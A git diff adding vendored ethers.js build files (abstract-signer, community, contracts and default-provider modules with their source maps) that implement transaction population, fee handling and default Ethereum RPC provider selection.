+{"version":3,"file":"abstract-signer.d.ts","sourceRoot":"","sources":["../../src.ts/providers/abstract-signer.ts"],"names":[],"mappings":"AAgBA,OAAO,KAAK,EACR,oBAAoB,EAAE,eAAe,EAAE,cAAc,EACxD,MAAM,kBAAkB,CAAC;AAC1B,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAE9E,OAAO,KAAK,EACR,QAAQ,EAAE,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EAC9D,MAAM,eAAe,CAAC;AACvB,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AA8B1C;;;;;GAKG;AACH,8BAAsB,cAAc,CAAC,CAAC,SAAS,IAAI,GAAG,QAAQ,GAAG,IAAI,GAAG,QAAQ,CAAE,YAAW,MAAM;IAC/F;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAG,CAAC,CAAC;IAEtB;;OAEG;gBACS,QAAQ,CAAC,EAAE,CAAC;IAIxB;;OAEG;IACH,QAAQ,CAAC,UAAU,IAAI,OAAO,CAAC,MAAM,CAAC;IAEtC;;;;;OAKG;IACH,QAAQ,CAAC,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAE7C,QAAQ,CAAC,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC;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AC;IAEnC,OAAO,CAAC,QAAQ,EAAE,IAAI,GAAG,QAAQ,GAAG,UAAU;IAQxC,eAAe,CAAC,EAAE,EAAE,kBAAkB,GAAG,OAAO,CAAC,MAAM,CAAC;IAIxD,WAAW,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,OAAO,CAAC,MAAM,CAAC;IAI1D,aAAa,CAAC,MAAM,EAAE,eAAe,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,cAAc,CAAC,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,MAAM,CAAC;CAG1I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/abstract-signer.js b/node_modules/ethers/lib.esm/providers/abstract-signer.js new file mode 100644 index 000000000000..193328dcf05e --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-signer.js @@ -0,0 +1,244 @@ +/** + * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes + * are sufficent for most developers, but this is provided to + * fascilitate more complex Signers. + * + * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer] + */ +import { resolveAddress } from "../address/index.js"; +import { Transaction } from "../transaction/index.js"; +import { defineProperties, getBigInt, resolveProperties, assert, assertArgument } from "../utils/index.js"; +import { copyRequest } from "./provider.js"; +function checkProvider(signer, operation) { + if (signer.provider) { + return signer.provider; + } + assert(false, "missing provider", "UNSUPPORTED_OPERATION", { operation }); +} +async function populate(signer, tx) { + let pop = copyRequest(tx); + if (pop.to != null) { + pop.to = resolveAddress(pop.to, signer); + } + if (pop.from != null) { + const from = pop.from; + pop.from = Promise.all([ + signer.getAddress(), + resolveAddress(from, signer) + ]).then(([address, from]) => { + assertArgument(address.toLowerCase() === from.toLowerCase(), "transaction from mismatch", "tx.from", from); + return address; + }); + } + else { + pop.from = signer.getAddress(); + } + return await resolveProperties(pop); +} +/** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ +export class AbstractSigner { + /** + * The provider this signer is connected to. + */ + provider; + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider) { + defineProperties(this, { provider: (provider || null) }); + } + async getNonce(blockTag) { + return checkProvider(this, "getTransactionCount").getTransactionCount(await this.getAddress(), blockTag); + } + async populateCall(tx) { + const pop = await populate(this, tx); + return pop; + } + async populateTransaction(tx) { + const provider = checkProvider(this, "populateTransaction"); + const pop = await populate(this, tx); + if (pop.nonce == null) { + pop.nonce = await this.getNonce("pending"); + } + if (pop.gasLimit == null) { + pop.gasLimit = await this.estimateGas(pop); + } + // Populate the chain ID + const network = await (this.provider).getNetwork(); + if (pop.chainId != null) { + const chainId = getBigInt(pop.chainId); + assertArgument(chainId === network.chainId, "transaction chainId mismatch", "tx.chainId", tx.chainId); + } + else { + pop.chainId = network.chainId; + } + // Do not allow mixing pre-eip-1559 and eip-1559 properties + const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null); + if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) { + assertArgument(false, "eip-1559 transaction do not support gasPrice", "tx", tx); + } + else if ((pop.type === 0 || pop.type === 1) && hasEip1559) { + assertArgument(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", tx); + } + if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) { + // Fully-formed EIP-1559 transaction (skip getFeeData) + pop.type = 2; + } + else if (pop.type === 0 || pop.type === 1) { + // Explicit Legacy or EIP-2930 transaction + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + assert(feeData.gasPrice != null, "network does not support gasPrice", "UNSUPPORTED_OPERATION", { + operation: "getGasPrice" + }); + // Populate missing gasPrice + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + } + else { + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + if (pop.type == null) { + // We need to auto-detect the intended type of this transaction... + if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { + // The network supports EIP-1559! + // Upgrade transaction from null to eip-1559 + if (pop.authorizationList && pop.authorizationList.length) { + pop.type = 4; + } + else { + pop.type = 2; + } + if (pop.gasPrice != null) { + // Using legacy gasPrice property on an eip-1559 network, + // so use gasPrice as both fee properties + const gasPrice = pop.gasPrice; + delete pop.gasPrice; + pop.maxFeePerGas = gasPrice; + pop.maxPriorityFeePerGas = gasPrice; + } + else { + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + else if (feeData.gasPrice != null) { + // Network doesn't support EIP-1559... + // ...but they are trying to use EIP-1559 properties + assert(!hasEip1559, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", { + operation: "populateTransaction" + }); + // Populate missing fee data + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + // Explicitly set untyped transaction to legacy + // @TODO: Maybe this shold allow type 1? + pop.type = 0; + } + else { + // getFeeData has failed us. + assert(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", { + operation: "signer.getFeeData" + }); + } + } + else if (pop.type === 2 || pop.type === 3 || pop.type === 4) { + // Explicitly using EIP-1559 or EIP-4844 + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + //@TOOD: Don't await all over the place; save them up for + // the end for better batching + return await resolveProperties(pop); + } + async populateAuthorization(_auth) { + const auth = Object.assign({}, _auth); + // Add a chain ID if not explicitly set to 0 + if (auth.chainId == null) { + auth.chainId = (await checkProvider(this, "getNetwork").getNetwork()).chainId; + } + // @TODO: Take chain ID into account when populating noce? + if (auth.nonce == null) { + auth.nonce = await this.getNonce(); + } + return auth; + } + async estimateGas(tx) { + return checkProvider(this, "estimateGas").estimateGas(await this.populateCall(tx)); + } + async call(tx) { + return checkProvider(this, "call").call(await this.populateCall(tx)); + } + async resolveName(name) { + const provider = checkProvider(this, "resolveName"); + return await provider.resolveName(name); + } + async sendTransaction(tx) { + const provider = checkProvider(this, "sendTransaction"); + const pop = await this.populateTransaction(tx); + delete pop.from; + const txObj = Transaction.from(pop); + return await provider.broadcastTransaction(await this.signTransaction(txObj)); + } + // @TODO: in v7 move this to be abstract + authorize(authorization) { + assert(false, "authorization not implemented for this signer", "UNSUPPORTED_OPERATION", { operation: "authorize" }); + } +} +/** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ +export class VoidSigner extends AbstractSigner { + /** + * The signer address. + */ + address; + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address, provider) { + super(provider); + defineProperties(this, { address }); + } + async getAddress() { return this.address; } + connect(provider) { + return new VoidSigner(this.address, provider); + } + #throwUnsupported(suffix, operation) { + assert(false, `VoidSigner cannot sign ${suffix}`, "UNSUPPORTED_OPERATION", { operation }); + } + async signTransaction(tx) { + this.#throwUnsupported("transactions", "signTransaction"); + } + async signMessage(message) { + this.#throwUnsupported("messages", "signMessage"); + } + async signTypedData(domain, types, value) { + this.#throwUnsupported("typed-data", "signTypedData"); + } +} +//# sourceMappingURL=abstract-signer.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/abstract-signer.js.map b/node_modules/ethers/lib.esm/providers/abstract-signer.js.map new file mode 100644 index 000000000000..be991d0dbc7d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-signer.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-signer.js","sourceRoot":"","sources":["../../src.ts/providers/abstract-signer.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;A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,CAAC,aAAmC;QACzC,MAAM,CAAC,KAAK,EAAE,+CAA+C,EAC3D,uBAAuB,EAAE,EAAE,SAAS,EAAE,WAAW,EAAE,CAAC,CAAC;IAC3D,CAAC;CAKJ;AAED;;;;;;;GAOG;AACH,MAAM,OAAO,UAAW,SAAQ,cAAc;IAC1C;;OAEG;IACM,OAAO,CAAU;IAE1B;;;OAGG;IACH,YAAY,OAAe,EAAE,QAA0B;QACnD,KAAK,CAAC,QAAQ,CAAC,CAAC;QAChB,gBAAgB,CAAa,IAAI,EAAE,EAAE,OAAO,EAAE,CAAC,CAAC;IACpD,CAAC;IAED,KAAK,CAAC,UAAU,KAAsB,OAAO,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC;IAE5D,OAAO,CAAC,QAAyB;QAC7B,OAAO,IAAI,UAAU,CAAC,IAAI,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;IAClD,CAAC;IAED,iBAAiB,CAAC,MAAc,EAAE,SAAiB;QAC/C,MAAM,CAAC,KAAK,EAAE,0BAA2B,MAAO,EAAE,EAAE,uBAAuB,EAAE,EAAE,SAAS,EAAE,CAAC,CAAC;IAChG,CAAC;IAED,KAAK,CAAC,eAAe,CAAC,EAAsB;QACxC,IAAI,CAAC,iBAAiB,CAAC,cAAc,EAAE,iBAAiB,CAAC,CAAC;IAC9D,CAAC;IAED,KAAK,CAAC,WAAW,CAAC,OAA4B;QAC1C,IAAI,CAAC,iBAAiB,CAAC,UAAU,EAAE,aAAa,CAAC,CAAC;IACtD,CAAC;IAED,KAAK,CAAC,aAAa,CAAC,MAAuB,EAAE,KAA4C,EAAE,KAA0B;QACjH,IAAI,CAAC,iBAAiB,CAAC,YAAY,EAAE,eAAe,CAAC,CAAC;IAC1D,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/community.d.ts b/node_modules/ethers/lib.esm/providers/community.d.ts new file mode 100644 index 000000000000..db64d2db5d90 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/community.d.ts @@ -0,0 +1,29 @@ +/** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ +/** + * Providers which offer community credentials should extend this + * to notify any interested consumers whether community credentials + * are in-use. + */ +export interface CommunityResourcable { + /** + * Returns true if the instance is connected using the community + * credentials. + */ + isCommunityResource(): boolean; +} +/** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ +export declare function showThrottleMessage(service: string): void; +//# sourceMappingURL=community.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/community.d.ts.map b/node_modules/ethers/lib.esm/providers/community.d.ts.map new file mode 100644 index 000000000000..ffecbb46012d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/community.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"community.d.ts","sourceRoot":"","sources":["../../src.ts/providers/community.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH;;;;GAIG;AACH,MAAM,WAAW,oBAAoB;IACjC;;;OAGG;IACH,mBAAmB,IAAI,OAAO,CAAC;CAClC;AAKD;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,OAAO,EAAE,MAAM,GAAG,IAAI,CAgBzD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/community.js b/node_modules/ethers/lib.esm/providers/community.js new file mode 100644 index 000000000000..8d8675834116 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/community.js @@ -0,0 +1,36 @@ +/** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ +// Show the throttle message only once per service +const shown = new Set(); +/** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ +export function showThrottleMessage(service) { + if (shown.has(service)) { + return; + } + shown.add(service); + console.log("========= NOTICE ========="); + console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`); + console.log(""); + console.log("The default API keys for each service are provided as a highly-throttled,"); + console.log("community resource for low-traffic projects and early prototyping."); + console.log(""); + console.log("While your application will continue to function, we highly recommended"); + console.log("signing up for your own API keys to improve performance, increase your"); + console.log("request rate/limit and enable other perks, such as metrics and advanced APIs."); + console.log(""); + console.log("For more details: https:/\/docs.ethers.org/api-keys/"); + console.log("=========================="); +} +//# sourceMappingURL=community.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/community.js.map b/node_modules/ethers/lib.esm/providers/community.js.map new file mode 100644 index 000000000000..0a67f48145d5 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/community.js.map @@ -0,0 +1 @@ +{"version":3,"file":"community.js","sourceRoot":"","sources":["../../src.ts/providers/community.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAeH,kDAAkD;AAClD,MAAM,KAAK,GAAgB,IAAI,GAAG,EAAE,CAAC;AAErC;;;;;;;GAOG;AACH,MAAM,UAAU,mBAAmB,CAAC,OAAe;IAC/C,IAAI,KAAK,CAAC,GAAG,CAAC,OAAO,CAAC,EAAE;QAAE,OAAO;KAAE;IACnC,KAAK,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;IAEnB,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAA;IACzC,OAAO,CAAC,GAAG,CAAC,6BAA8B,OAAQ,sCAAsC,CAAC,CAAC;IAC1F,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAChB,OAAO,CAAC,GAAG,CAAC,2EAA2E,CAAC,CAAC;IACzF,OAAO,CAAC,GAAG,CAAC,oEAAoE,CAAC,CAAC;IAClF,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAChB,OAAO,CAAC,GAAG,CAAC,yEAAyE,CAAC,CAAC;IACvF,OAAO,CAAC,GAAG,CAAC,wEAAwE,CAAC,CAAC;IACtF,OAAO,CAAC,GAAG,CAAC,+EAA+E,CAAC,CAAC;IAC7F,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAChB,OAAO,CAAC,GAAG,CAAC,sDAAsD,CAAC,CAAC;IACpE,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAC;AAC9C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/contracts.d.ts b/node_modules/ethers/lib.esm/providers/contracts.d.ts new file mode 100644 index 000000000000..e5f1d42d692d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/contracts.d.ts @@ -0,0 +1,36 @@ +import type { Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +/** + * A **ContractRunner** is a generic interface which defines an object + * capable of interacting with a Contract on the network. + * + * The more operations supported, the more utility it is capable of. + * + * The most common ContractRunners are [Providers](Provider) which enable + * read-only access and [Signers](Signer) which enable write-access. + */ +export interface ContractRunner { + /** + * The provider used for necessary state querying operations. + * + * This can also point to the **ContractRunner** itself, in the + * case of an [[AbstractProvider]]. + */ + provider: null | Provider; + /** + * Required to estimate gas. + */ + estimateGas?: (tx: TransactionRequest) => Promise; + /** + * Required for pure, view or static calls to contracts. + */ + call?: (tx: TransactionRequest) => Promise; + /** + * Required to support ENS names + */ + resolveName?: (name: string) => Promise; + /** + * Required for state mutating calls + */ + sendTransaction?: (tx: TransactionRequest) => Promise; +} +//# sourceMappingURL=contracts.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/contracts.d.ts.map b/node_modules/ethers/lib.esm/providers/contracts.d.ts.map new file mode 100644 index 000000000000..078fdc870b2a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/contracts.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"contracts.d.ts","sourceRoot":"","sources":["../../src.ts/providers/contracts.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EACR,QAAQ,EAAE,kBAAkB,EAAE,mBAAmB,EACpD,MAAM,eAAe,CAAC;AAEvB;;;;;;;;GAQG;AACH,MAAM,WAAW,cAAc;IAC3B;;;;;OAKG;IACH,QAAQ,EAAE,IAAI,GAAG,QAAQ,CAAC;IAE1B;;OAEG;IACH,WAAW,CAAC,EAAE,CAAC,EAAE,EAAE,kBAAkB,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IAE1D;;OAEG;IACH,IAAI,CAAC,EAAE,CAAC,EAAE,EAAE,kBAAkB,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IAEnD;;OAEG;IACH,WAAW,CAAC,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;IAEvD;;OAEG;IACH,eAAe,CAAC,EAAE,CAAC,EAAE,EAAE,kBAAkB,KAAK,OAAO,CAAC,mBAAmB,CAAC,CAAC;CAC9E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/contracts.js b/node_modules/ethers/lib.esm/providers/contracts.js new file mode 100644 index 000000000000..202a39eb533d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/contracts.js @@ -0,0 +1,2 @@ +export {}; +//# sourceMappingURL=contracts.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/contracts.js.map b/node_modules/ethers/lib.esm/providers/contracts.js.map new file mode 100644 index 000000000000..42ac4de899ff --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/contracts.js.map @@ -0,0 +1 @@ +{"version":3,"file":"contracts.js","sourceRoot":"","sources":["../../src.ts/providers/contracts.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/default-provider.d.ts b/node_modules/ethers/lib.esm/providers/default-provider.d.ts new file mode 100644 index 000000000000..73704c7649c5 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/default-provider.d.ts @@ -0,0 +1,49 @@ +import type { AbstractProvider } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import { WebSocketLike } from "./provider-websocket.js"; +/** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ +export declare function getDefaultProvider(network?: string | Networkish | WebSocketLike, options?: any): AbstractProvider; +//# sourceMappingURL=default-provider.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/default-provider.d.ts.map b/node_modules/ethers/lib.esm/providers/default-provider.d.ts.map new file mode 100644 index 000000000000..1cea7a66f338 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/default-provider.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"default-provider.d.ts","sourceRoot":"","sources":["../../src.ts/providers/default-provider.ts"],"names":[],"mappings":"AAkBA,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC/D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAC/C,OAAO,EAAE,aAAa,EAAE,MAAM,yBAAyB,CAAC;AASxD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2CG;AACH,wBAAgB,kBAAkB,CAAC,OAAO,CAAC,EAAE,MAAM,GAAG,UAAU,GAAG,aAAa,EAAE,OAAO,CAAC,EAAE,GAAG,GAAG,gBAAgB,CAgIjH"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/default-provider.js b/node_modules/ethers/lib.esm/providers/default-provider.js new file mode 100644 index 000000000000..9a15d7afa3cd --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/default-provider.js @@ -0,0 +1,196 @@ +import { assert } from "../utils/index.js"; +import { AnkrProvider } from "./provider-ankr.js"; +import { AlchemyProvider } from "./provider-alchemy.js"; +//import { BlockscoutProvider } from "./provider-blockscout.js"; +import { ChainstackProvider } from "./provider-chainstack.js"; +import { CloudflareProvider } from "./provider-cloudflare.js"; +import { EtherscanProvider } from "./provider-etherscan.js"; +import { InfuraProvider } from "./provider-infura.js"; +//import { PocketProvider } from "./provider-pocket.js"; +import { QuickNodeProvider } from "./provider-quicknode.js"; +import { FallbackProvider } from "./provider-fallback.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import { Network } from "./network.js"; +import { WebSocketProvider } from "./provider-websocket.js"; +function isWebSocketLike(value) { + return (value && typeof (value.send) === "function" && + typeof (value.close) === "function"); +} +const Testnets = "goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" "); +/** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ +export function getDefaultProvider(network, options) { + if (options == null) { + options = {}; + } + const allowService = (name) => { + if (options[name] === "-") { + return false; + } + if (typeof (options.exclusive) === "string") { + return (name === options.exclusive); + } + if (Array.isArray(options.exclusive)) { + return (options.exclusive.indexOf(name) !== -1); + } + return true; + }; + if (typeof (network) === "string" && network.match(/^https?:/)) { + return new JsonRpcProvider(network); + } + if (typeof (network) === "string" && network.match(/^wss?:/) || isWebSocketLike(network)) { + return new WebSocketProvider(network); + } + // Get the network and name, if possible + let staticNetwork = null; + try { + staticNetwork = Network.from(network); + } + catch (error) { } + const providers = []; + if (allowService("publicPolygon") && staticNetwork) { + if (staticNetwork.name === "matic") { + providers.push(new JsonRpcProvider("https:/\/polygon-rpc.com/", staticNetwork, { staticNetwork })); + } + else if (staticNetwork.name === "matic-amoy") { + providers.push(new JsonRpcProvider("https:/\/rpc-amoy.polygon.technology/", staticNetwork, { staticNetwork })); + } + } + if (allowService("alchemy")) { + try { + providers.push(new AlchemyProvider(network, options.alchemy)); + } + catch (error) { } + } + if (allowService("ankr") && options.ankr != null) { + try { + providers.push(new AnkrProvider(network, options.ankr)); + } + catch (error) { } + } + /* Temporarily remove until custom error issue is fixed + if (allowService("blockscout")) { + try { + providers.push(new BlockscoutProvider(network, options.blockscout)); + } catch (error) { } + } + */ + if (allowService("chainstack")) { + try { + providers.push(new ChainstackProvider(network, options.chainstack)); + } + catch (error) { } + } + if (allowService("cloudflare")) { + try { + providers.push(new CloudflareProvider(network)); + } + catch (error) { } + } + if (allowService("etherscan")) { + try { + providers.push(new EtherscanProvider(network, options.etherscan)); + } + catch (error) { } + } + if (allowService("infura")) { + try { + let projectId = options.infura; + let projectSecret = undefined; + if (typeof (projectId) === "object") { + projectSecret = projectId.projectSecret; + projectId = projectId.projectId; + } + providers.push(new InfuraProvider(network, projectId, projectSecret)); + } + catch (error) { } + } + /* + if (options.pocket !== "-") { + try { + let appId = options.pocket; + let secretKey: undefined | string = undefined; + let loadBalancer: undefined | boolean = undefined; + if (typeof(appId) === "object") { + loadBalancer = !!appId.loadBalancer; + secretKey = appId.secretKey; + appId = appId.appId; + } + providers.push(new PocketProvider(network, appId, secretKey, loadBalancer)); + } catch (error) { console.log(error); } + } + */ + if (allowService("quicknode")) { + try { + let token = options.quicknode; + providers.push(new QuickNodeProvider(network, token)); + } + catch (error) { } + } + assert(providers.length, "unsupported default network", "UNSUPPORTED_OPERATION", { + operation: "getDefaultProvider" + }); + // No need for a FallbackProvider + if (providers.length === 1) { + return providers[0]; + } + // We use the floor because public third-party providers can be unreliable, + // so a low number of providers with a large quorum will fail too often + let quorum = Math.floor(providers.length / 2); + if (quorum > 2) { + quorum = 2; + } + // Testnets don't need as strong a security gaurantee and speed is + // more useful during testing + if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) { + quorum = 1; + } + // Provided override qorum takes priority + if (options && options.quorum) { + quorum = options.quorum; + } + return new FallbackProvider(providers, undefined, { quorum }); +} +//# sourceMappingURL=default-provider.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/default-provider.js.map b/node_modules/ethers/lib.esm/providers/default-provider.js.map new file mode 100644 index 000000000000..03887cd9f790 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/default-provider.js.map @@ -0,0 +1 @@ +{"version":3,"file":"default-provider.js","sourceRoot":"","sources":["../../src.ts/providers/default-provider.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,EAAE,MAAM,mBAAmB,CAAC;AAE3C,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,gEAAgE;AAChE,OAAO,EAAE,kBAAkB,EAAE,MAAM,0BAA0B,CAAC;AAC9D,OAAO,EAAE,kBAAkB,EAAE,MAAM,0BAA0B,CAAC;AAC9D,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAC5D,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,wDAAwD;AACxD,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAE5D,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AACxD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAM5D,SAAS,eAAe,CAAC,KAAU;IAC/B,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,IAAI,CAAC,KAAK,UAAU;QAC9C,OAAM,CAAC,KAAK,CAAC,KAAK,CAAC,KAAK,UAAU,CAAC,CAAC;AAC5C,CAAC;AAED,MAAM,QAAQ,GAAG,qFAAqF,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC;AAElH;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2CG;AACH,MAAM,UAAU,kBAAkB,CAAC,OAA6C,EAAE,OAAa;IAC3F,IAAI,OAAO,IAAI,IAAI,EAAE;QAAE,OAAO,G